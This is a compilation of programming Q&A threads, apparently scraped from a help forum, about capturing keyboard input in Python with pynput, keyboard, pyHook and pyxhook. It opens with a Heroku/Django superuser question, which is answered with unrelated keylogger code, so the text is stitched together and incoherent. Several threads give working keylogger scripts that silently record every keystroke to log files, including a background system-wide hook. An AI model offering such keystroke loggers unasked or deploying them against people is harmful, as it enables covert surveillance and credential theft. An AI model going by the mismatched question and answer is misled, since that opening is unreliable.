I have deployed an app to Heroku via GitHub, and I have run the migration by adding
release: python manage.py migrate
to the Procfile.
I know I need to create a superuser (If I was using the CLI it's straightforward)But I need a way I can do that explicitly using GitHub deployment.
As per my research it is hard to track all the events
But you can create a keylogger, Which tracks the key strokes and saves it
Here is the code:-
# keylogger using pynput module
import pynput
from pynput.keyboard import Key, Listener
keys = []
def on_press(key):
keys.append(key)
write_file(keys)
try:
print('alphanumeric key {0} pressed'.format(key.char))
except AttributeError:
print('special key {0} pressed'.format(key))
def write_file(keys):
with open('D:/log.txt', 'w') as f: # This will save in D drive as log.txt
for key in keys:
# removing ''
k = str(key).replace("'", "")
f.write(k)
# explicitly adding a space after
# every keystroke for readability
f.write(' ')
def on_release(key):
print('{0} released'.format(key))
if key == Key.esc:
# Stop listener
return False
with Listener(on_press = on_press,
on_release = on_release) as listener:
listener.join()
Related
I know how to get key input directly with the keyboard module but it needs a while loop around it specifically. if I use this in my code obviously it stops it in its tracks!
while True:
event = keyboard.read_event()
if event.event_type == keyboard.KEY_DOWN:
print(event.name)
Use a keyboard.listener in a non-blocking fashion (not in a with statement), as per the documentation:
from pynput import keyboard
def on_press(key):
try:
print('alphanumeric key {0} pressed'.format(
key.char))
except AttributeError:
print('special key {0} pressed'.format(
key))
def on_release(key):
print('{0} released'.format(
key))
if key == keyboard.Key.esc:
# Stop listener
return False
# ...or, in a non-blocking fashion:
listener = keyboard.Listener(
on_press=on_press,
on_release=on_release)
listener.start()
# execution immediately continues past listener.start()
When using the non-blocking version above, the current thread will continue executing. This might be necessary when integrating with other GUI frameworks that incorporate a main-loop, but when run from a script, this will cause the program to terminate immediately.
Trying to build a key logger with pynput.
Took a look at Here, everything worked fine but not what I wanted, I wanted to save the output to a text file at the same time that the programs running.
I tried sys.stdout but it just dosent save it to the LogTXT.txt file.
Anyways, here's the code:
from pynput.keyboard import Key, Listener
import os
import atexit
import sys
file = os.open(r"C:\Users\USERNAME\Desktop\LogTXT.txt", os.O_RDWR|os.O_CREAT )
def on_press(key):
print('{0} pressed'.format(
key))
def on_release(key):
print('{0} release'.format(
key))
if key == Key.esc:
# Stop listener
return False
# Collect events until released
with Listener(on_press=on_press, on_release=on_release) as listener:
listener.join()
sys.stdout = file
Try to use another way to do this instead of use the stdout,think it as another way:
from pynput.keyboard import Key, Listener
import time
fp = open(r"LogTXT_{}.txt".format(time.strftime("%Y-%m-%d_%H-%M-%S", time.localtime())),"w") # open the file
def on_press(key):
print('{0} pressed'.format(key))
fp.write('{} pressed at time:{}\n\n'.format(key,time.strftime("%Y-%m-%d_%H-%M-%S", time.localtime()))) # write it.
def on_release(key):
print('{0} release'.format(key))
fp.write('{} release at time:{}\n\n'.format(key,time.strftime("%Y-%m-%d_%H-%M-%S", time.localtime())))
if key == Key.esc:
fp.write("End Press") # press esc.Exit the script
fp.close()
return False
with Listener(on_press=on_press, on_release=on_release) as listener:
listener.join()
Some example of output in the file:
I have a problem with this keylogger program. It must write to a file but it doesn't do that. What is wrong?
The program must listen to the keyboard and write it to a file (before, there is a check if the file exists or not). But it doesn't write to the file, it only creates the file.
from pynput import keyboard
import os
if os.path.exists("prova3.txt") == True:
f = open("prova3.txt","a")
else:
f = open("prova3.txt","x")
def on_press(key):
try:
f.writelines("///key [ {0} ] pressed ///".format(
key.char))
except AttributeError:
f.writelines("///special key {0} pressed///".format(
key))
def on_release(key):
f.writelines(["///key [ {0} ] released ///".format(
key)])
with keyboard.Listener(
on_press=on_press,
on_release=on_release) as listener:
listener.join()
First of all, make sure that you took note of the warning from the pynput docs:
Starting a keyboard listener may be subject to some restrictions on your platform.
If you are on a Mac like me, then you have to do this:
The process must run as root.
Your application must be white listed under Enable access for assistive devices.
For that second item, check these steps from a related SO post.
Now, for the actual file writing problem, one solution is to call f.flush() after calling f.writelines to ensure that data is actually written to the file. (see this related post for some explanation: what exactly the python's file.flush() is doing?). I am not familiar with pynput's underlying implementation, but the docs says it uses threads and that seems to affect File I/O. It's also good practice to call f.close() when you're done with the file.
from pynput import keyboard
if os.path.exists("prova3.txt"):
f = open("prova3.txt", "a")
else:
f = open("prova3.txt", "x")
def on_press(key):
try:
f.writelines("///key [ {0} ] pressed ///".format(
key.char))
except AttributeError:
f.writelines("///special key {0} pressed///".format(
key))
f.flush()
def on_release(key):
f.writelines(["///key [ {0} ] released ///".format(
key)])
f.flush()
with keyboard.Listener(
on_press=on_press,
on_release=on_release) as listener:
listener.join()
f.close()
An alternative and a better practice is to use a with statement when writing to the file. That puts f and the pynput listener all in the same context. With this way, calling flush is not needed (but you still can if you want to).
from pynput import keyboard
with open("prova3.txt", "a") as f:
def on_press(key):
try:
f.writelines("///key [ {0} ] pressed ///".format(
key.char))
except AttributeError:
f.writelines("///special key {0} pressed///".format(
key))
def on_release(key):
f.writelines(["///key [ {0} ] released ///".format(
key)])
with keyboard.Listener(
on_press=on_press,
on_release=on_release) as listener:
listener.join()
I am trying to find a way to detect a keypress and then run a method depending on what key it is.
I can already do this with Tkinter. But what I can't do is detect the keypress while the window is in the background. I will be running this program in the background while I play a game. I need it to be able to detect inputs while I'm in the game.
Is there any way I can do this with Tkinter or something else? Preferably I would like to not have to download anything external as I would like to distribute this to some other people.
pyHook seems like it would work well for this (mentioned by furas)
from pyHook import HookManager
from win32gui import PumpMessages, PostQuitMessage
class Keystroke_Watcher(object):
def __init__(self):
self.hm = HookManager()
self.hm.KeyDown = self.on_keyboard_event
self.hm.HookKeyboard()
def on_keyboard_event(self, event):
try:
if event.KeyID == keycode_youre_looking_for:
self.your_method()
finally:
return True
def your_method(self):
pass
def shutdown(self):
PostQuitMessage(0)
self.hm.UnhookKeyboard()
watcher = Keystroke_Watcher()
PumpMessages()
I suggest not to use pyHook anymore, because it's an old, not maintained library (last updated in 2008)
Alternatively there are many other libraries, which are actively maintained for example pynput:
from pynput.keyboard import Key, Listener
def on_press(key):
print('{0} pressed'.format(key))
def on_release(key):
print('{0} release'.format(key))
if key == Key.esc:
return False
with Listener(on_press=on_press, on_release=on_release) as listener:
listener.join()
keyboard can be an another alternative which may be worth considering.
Too get all the properties from your key press event. you can do the following
import pythoncom, pyHook
def OnKeyboardEvent(event):
print('MessageName:',event.MessageName)
print('Message:',event.Message)
print('Time:',event.Time)
print('Window:',event.Window)
print('WindowName:',event.WindowName)
print('Ascii:', event.Ascii, chr(event.Ascii))
print('Key:', event.Key)
print('KeyID:', event.KeyID)
print('ScanCode:', event.ScanCode)
print('Extended:', event.Extended)
print('Injected:', event.Injected)
print('Alt', event.Alt)
print('Transition', event.Transition)
print('---')
# return True to pass the event to other handlers
return True
# create a hook manager
hm = pyHook.HookManager()
# watch for all mouse events
hm.KeyDown = OnKeyboardEvent
# set the hook
hm.HookKeyboard()
# wait forever
pythoncom.PumpMessages()
Now know all the details of the key press and do operation on top of this.
pressing 's' would look like this
MessageName: key down
Message: 256
Time: 449145375
Window: 2558060
WindowName: "file name"
Ascii: 115 s
Key: S
KeyID: 83
ScanCode: 31
Extended: 0
Injected: 0
Alt 0
Transition 0
See pynput.
def on_release(key):
global running
if key == keyboard.Key.esc:
running = False;
running = True
listener = keyboard.Listener(on_release=on_release)
# run listener in background so that the while loop gets executed
listener.start()
while running
print("running some code")
listener.stop()
I'm looking for a python module that will allow me to detect keyboard events.. Now I know this module msvct, but it only works for key presses that are done in the console. I need to create a passive program that will hook to the keyboard but I cant find how..
Thank you for your help
Python has a keyboard module with many features. You Can Use It In Both Shell and Console. It Also Detect Key For The Whole Windows.
Install it, perhaps with this command:
pip3 install keyboard
Then use it in code like:
import keyboard #Using module keyboard
while True: #making a loop
try: #used try so that if user pressed other than the given key error will not be shown
if keyboard.is_pressed('a'): #if key 'a' is pressed
print('You Pressed A Key!')
break #finishing the loop
else:
pass
except:
break #if user pressed other than the given key the loop will break
You can set it to multiple Key Detection:
if keyboard.is_pressed('a') or keyboard.is_pressed('b') or keyboard.is_pressed('c'): # and so on
#then do this
You can even try this code
sudo apt-get install python-xlib
Log.py
import os
import pyxhook
# This tells the keylogger where the log file will go.
# You can set the file path as an environment variable ('pylogger_file'),
# or use the default ~/Desktop/file.log
log_file = os.environ.get(
'pylogger_file',
os.path.expanduser('~/Desktop/file.log')
)
# Allow setting the cancel key from environment args, Default: `
cancel_key = ord(
os.environ.get(
'pylogger_cancel',
'`'
)[0]
)
# Allow clearing the log file on start, if pylogger_clean is defined.
if os.environ.get('pylogger_clean', None) is not None:
try:
os.remove(log_file)
except EnvironmentError:
# File does not exist, or no permissions.
pass
#creating key pressing event and saving it into log file
def OnKeyPress(event):
with open(log_file, 'a') as f:
f.write('{}\n'.format(event.Key))
# create a hook manager object
new_hook = pyxhook.HookManager()
new_hook.KeyDown = OnKeyPress
# set the hook
new_hook.HookKeyboard()
try:
new_hook.start() # start the hook
except KeyboardInterrupt:
# User cancelled from command line.
pass
except Exception as ex:
# Write exceptions to the log file, for analysis later.
msg = 'Error while catching events:\n {}'.format(ex)
pyxhook.print_err(msg)
with open(log_file, 'a') as f:
f.write('\n{}'.format(msg))
This keylogger will append every key you press.